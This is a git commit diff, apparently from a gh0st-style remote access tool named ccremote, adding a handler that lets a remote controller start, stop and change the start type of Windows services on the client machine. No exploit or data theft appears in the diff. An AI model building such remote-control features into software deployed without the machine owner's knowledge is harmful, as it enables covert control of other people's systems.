服务控制完善,需要管理员权限才可以执行,如果没有权限的话会造成崩溃,需要后续做判断

This commit is contained in:
Cc28257 2020-06-25 12:02:55 +08:00
parent 4ef747d0db
commit f62203ff80
8 changed files with 137 additions and 5 deletions

Binary file not shown.

View File

@ -108,6 +108,7 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(379): warning C4018:
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(400): warning C4018: “<”: 有符号/无符号不匹配
f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018: “<”: 有符号/无符号不匹配
ServerManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(290): warning C4102: “defaute”: 未引用的标签
ShellManager.cpp
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明

View File

@ -169,3 +169,125 @@ void CServerManager::SendServicesList()
Send((LPBYTE)lpBuffer, LocalSize(lpBuffer));
LocalFree(lpBuffer);
}
void CServerManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_SERVICELIST:
SendServicesList();
break;
case COMMAND_SERVICECONFIG:
ServiceConfig((LPBYTE)lpBuffer + 1, nSize - 1);
break;
default:
break;
}
}
void CServerManager::ServiceConfig(LPBYTE lpBuffer, UINT nSize)
{
BYTE COMMAND = lpBuffer[0];
char *m_ServiceName = (char *)(lpBuffer + 1);
switch (COMMAND)
{
case COMMAND_SERVICES_START: //start
{
SC_HANDLE hSCManager1 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager1)
{
SC_HANDLE hService1 = OpenService(hSCManager1, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService1)
{
StartService(hService1, NULL, NULL);
CloseServiceHandle(hService1);
}
CloseServiceHandle(hSCManager1);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_STOP: //stop
{
SC_HANDLE hSCManager4 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager4)
{
SC_HANDLE hService4 = OpenService(hSCManager4, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService4)
{
SERVICE_STATUS stat;
ControlService(hService4, SERVICE_CONTROL_STOP, &stat);
CloseServiceHandle(hService4);
}
CloseServiceHandle(hSCManager4);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_AUTO: //auto
{
SC_HANDLE hSCManager2 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager2)
{
SC_HANDLE hService2 = OpenService(hSCManager2, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService2)
{
SC_LOCK sclLock2 = LockServiceDatabase(hSCManager2);
BOOL stat2 = ChangeServiceConfig(
hService2,
SERVICE_NO_CHANGE,
SERVICE_AUTO_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock2);
CloseServiceHandle(hService2);
}
CloseServiceHandle(hSCManager2);
}
Sleep(500);
SendServicesList();
}
break;
case COMMAND_SERVICES_MANUAL: // DEMAND_START
{
SC_HANDLE hSCManager3 = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (NULL != hSCManager3)
{
SC_HANDLE hService3 = OpenService(hSCManager3, m_ServiceName, SERVICE_ALL_ACCESS);
if (NULL != hService3)
{
SC_LOCK sclLock3 = LockServiceDatabase(hSCManager3);
BOOL stat3 = ChangeServiceConfig(
hService3,
SERVICE_NO_CHANGE,
SERVICE_DEMAND_START,
SERVICE_NO_CHANGE,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL,
NULL);
UnlockServiceDatabase(sclLock3);
CloseServiceHandle(hService3);
}
CloseServiceHandle(hSCManager3);
}
Sleep(500);
SendServicesList();
}
defaute:
break;
}
}

View File

@ -16,10 +16,12 @@ class CServerManager : public CManager
public:
CServerManager(CClientSocket *pClient);
virtual ~CServerManager();
virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);
protected:
void SendServicesList();
LPBYTE getServerList();
void ServiceConfig(LPBYTE lpBuffer, UINT nSize);
};
#endif // !defined(AFX_SERVERMANAGER_H__BAE27F8C_8A1C_4D5B_89F6_FA138B65470E__INCLUDED_)

Binary file not shown.

View File

@ -198,26 +198,26 @@ void CServerDlg::ServiceConfig(BYTE bCmd)
void CServerDlg::OnServerStart()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(1);
ServiceConfig(COMMAND_SERVICES_START);
}
void CServerDlg::OnServerStop()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(2);
ServiceConfig(COMMAND_SERVICES_STOP);
}
void CServerDlg::OnServerAuto()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(3);
ServiceConfig(COMMAND_SERVICES_AUTO);
}
void CServerDlg::OnServerManual()
{
// TODO: 在此添加命令处理程序代码
ServiceConfig(4);
ServiceConfig(COMMAND_SERVICES_MANUAL);
}

Binary file not shown.

View File

@ -78,6 +78,13 @@ enum
COMMAND_SERVICELIST, // 刷新服务列表
COMMAND_SERVICECONFIG, // 服务端发出的标识
// 服务管理的操作
COMMAND_SERVICES_START = 0x01, // 启动服务
COMMAND_SERVICES_STOP, // 停止服务
COMMAND_SERVICES_AUTO, // 启动方式 - 自动启动
COMMAND_SERVICES_MANUAL, // 启动方式 - 手动启动
// 服务端发出的标识
TOKEN_AUTH = 100, // 要求验证
TOKEN_HEARTBEAT, // 心跳包